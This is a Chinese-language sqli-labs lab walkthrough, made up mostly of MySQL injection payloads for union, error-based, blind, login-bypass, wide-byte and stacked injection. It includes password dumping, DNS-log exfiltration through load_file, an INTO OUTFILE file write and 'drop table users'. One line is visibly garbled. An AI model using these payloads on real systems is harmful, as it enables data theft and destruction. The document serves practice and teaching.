SQL注入是比较常见的漏洞,有数据库的地方就可能存在SQL注入,所以学好SQL注入是非常有必要的,sqli-labs是一个不错的练习靶场。推荐一篇文章SQL注入之Mysql注入姿势及绕过总结
判断是否存在注入,注入是字符型还是数字型,闭合情况,绕过方式
?id=1'
?id=1"
?id=1')
?id=1")
?id=1' or 1#
?id=1' or 0#
?id=1' or 1=1#
?id=1' and 1=2#
?id=1' and sleep(5)#
?id=1' and 1=2 or '
?id=1\
猜测SQL查询语句中的字段数
1' order by 1#
1' order by 2#
1' order by 3#
1 order by 1
1 order by 2
1 order by 3
1' union select 1#
1' union select 1,2#
1' union select 1,2,3#
1 union select 1#
1 union select 1,2#
1 union select 1,2,3#
使用 union select 联合查询,不断在 union select 后面加数字,直到不报错,即可确定字段数量。
使用 order/group by 语句,通过往后边拼接数字指导页面报错,可确定字段数量。
确定显示数据的字段位置
使用 union select 1,2,3,4,… 根据回显的字段数,判断回显数据的字段位置。
-1' union select 1#
-1' union select 1,2#
-1' union select 1,2,3#
-1 union select 1#
-1 union select 1,2#
-1 union select 1,2,3#
注意:
若确定页面有回显,但是页面中并没有我们定义的特殊标记数字出现,可能是页面进行的是单行数据输出,我们让前边的 select 查询条件返回结果为空即可。
⼀定要拼接够足够的字段数,否则SQL语句报错。
在回显数据的字段位置使用 union select 将我们所需要的数据查询出来即可。包括但不限于:
-1' union select 1,2,database()--+
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
-1' union select 1,2,group_concat(id,0x7c,username,0x7c,password) from users--+
-1' union select 1,(select group_concat(id,0x7c,username,0x7c,password) from users),3--+
一般情况下就是这样的一个顺序,确定联合查询的字段数->确定联合查询回显位置->爆库->爆表->爆字段->爆数据。
我们可以看到这里使用了group_concat
来拼接查询多个数据,在很多种查询中都有使用这个函数来提高效率,同时还可以拼接十六进制特殊字符
来分隔,同时还使用了information_shcema
表获取表信息、字段信息,这个表在低版本mysql中不存在,同时有时还会被过滤,这也会是我们绕过的一个方向。
s q l = " S E L E C T ∗ F R O M u s e r s W H E R E i d = ′ sql="SELECT * FROM users WHERE id=' sql="SELECT∗FROMusersWHEREid=′id’ LIMIT 0,1";
?id=1' /*注入语句*/ --+
sql=“SELECT * FROM users WHERE id=$id LIMIT 0,1”;
注入语句
?id=1 /*注入语句*/ --+
sql=“SELECT * FROM users WHERE id=(’$id’) LIMIT 0,1”;
注入语句
?id=0') union select 1,2,database()--+
id = ‘"’ . $id . ‘"’;
sql=“SELECT * FROM users WHERE id=($id) LIMIT 0,1”;
注入语句
?id=0") union select 1,2,database()--+
UPDATEXML (XML_document, XPath_string, new_value);
由于updatexml的第二个参数需要Xpath格式的字符串,如果不符合xml格式的语法,就可以实现报错注入了。
注入语句
?id=1' union select updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
注入语句
?id=1" union select updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
注入语句
?id=1')) union select 1,'',3 into outfile 'test.php' --+
注入语句
?id=1' and load_file(concat("\\\\",(database()),".u92w0h.dnslog.cn\\1.txt")) --+
如果数据库长度大于3则不执行,反之睡眠5秒
注入语句
?id=1' and if(length(database())>3,1,sleep(5)) --+
注入语句
?id=1" and if(length(database())>3,1,sleep(5)) --+
使用万能密钥
username: 1' or 1=1 #
password:
注入语句
username: 1") or 1=1 #
password:
注入语句
admin') union select updatexml(1,concat(0x7e,(select database()),0x7e),1) #
注入语句
admin" union select updatexml(1,concat(0x7e,(select database()),0x7e),1) #
原理
注入语句
admin' and load_file(concat("\\\\",(database()),".your-dnslog.com\\1.txt")) #
admin") and load_file(concat("\\\\",(database()),".your-dnslog.com\\1.txt")) #
admin
' and (updatexml(1,concat(0x7e, database(),0x7e),1))#
',1,updatexml(1,concat(0x7e, database(),0x7e),1))#
uname=' union select 1,2,(updatexml(1,concat(0x7e, database(),0x7e),1))# ;
这里是比上一个多了一个编码
$cookee = base64_decode($cookee);
Cookie: uname=JykgdW5pb24gc2VsZWN0IDEsMiwodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsIGRhdGFiYXNlKCksMHg3ZSksMSkpIyA7
Cookie: uname=IiB1bmlvbiBzZWxlY3QgMSwyLCh1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwgZGF0YWJhc2UoKSwweDdlKSwxKSkjIDs=
?id=-1' union select 1,database(),3 '
登陆的时候对参数进行了过滤
可以利用更改密码进行二次注入
先创建一个新用户
登陆账号,修改密码
?id=-1' union select 1,database(),3 -- -
?id=-1 union select 1,database(),3 -- -
?id=-1'aandnd(updatexml(0x7e,user(),0x7e))anandd'1'='1
空格使用%0a
代替
?id=-1')union%a0select%a01,database(),('3
?id=1'and(updatexml(1,user(),1))and'1'='1
?id=1"and(updatexml(1,uer(),1))and"1"="1
?id=111')%0aUnIon%0aAll%0aSelect ('1'),database(),('3
?id=111')%0aUnIon%0aAll%0aSelect ('1'),database(),('3
?id=-1' union select 1,database(),3 -- -
参数污染漏洞(HPP)
?id=1&id=-1' union select 1,database(),3 -- -
?id=-1" union select 1,database(),3 -- -
?id=1&id=-1" union select 1,database(),3 -- -
?id=-1") union select 1,database(),3 -- -
?id=1&id=-1") union select 1,database(),3 -- -
我们发现\的编码是%5c,然后我们会想到传参一个字符想办法凑成一个gbk字符,例如:‘運’字是%df%5c
SELECT * FROM users WHERE id='1\'' LIMIT 0,1
这条语句因为\使我们无法去注入,那么我们是不是可以用%df吃到%5c,因为如果用GBK编码的话这个就是運,然后成功绕过
SELECT * FROM users WHERE id='1�\'#' LIMIT 0,1
绕过原理:
%df%5c组成一个新的字符,会吃掉转义的字符\,如此,单引号的转义就不成功了,出现的单引号就会破坏sql语句的结果,产生报错。
?id=-1%df' union select 1,database(),3 -- -
?id=-1%df' union select 1,database(),3 -- -
方法一:
这一关是POST型的注入,同样的将post传递过来的内容进行了转义处理,过滤了单引号、反斜杠。有之前的例子我们可以看到%df可以将转义的反斜杠给吃掉。而GET型的方式我们是以url形式提交的,因此数据会通过urlencode,如何将方法用在POST型的注入当中呢?我们可以将UTF-8转换为UTF-16或者UTF-32,例如将’转换为utf-16为: �’。
�' union select 1,database() #
方法二:
因为这里使用到了表单的提交,所以我们可以使用burp suite进行数据的提交,之后对提交的数据进行修改:
uname=admin%df'||1#&passwd=aaa
?id=-1 union select 1,database(),3 -- -
?id=-1�' union select 1,database(),3 -- -
-1�' union select 1,database() -- -
在SQL中,分号;
是用来表示一条sql语句的结束。试想一下,我们在结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。
?id=1';drop table users; -- -
?id=1;drop table users; -- -
?id=1;drop table users; -- -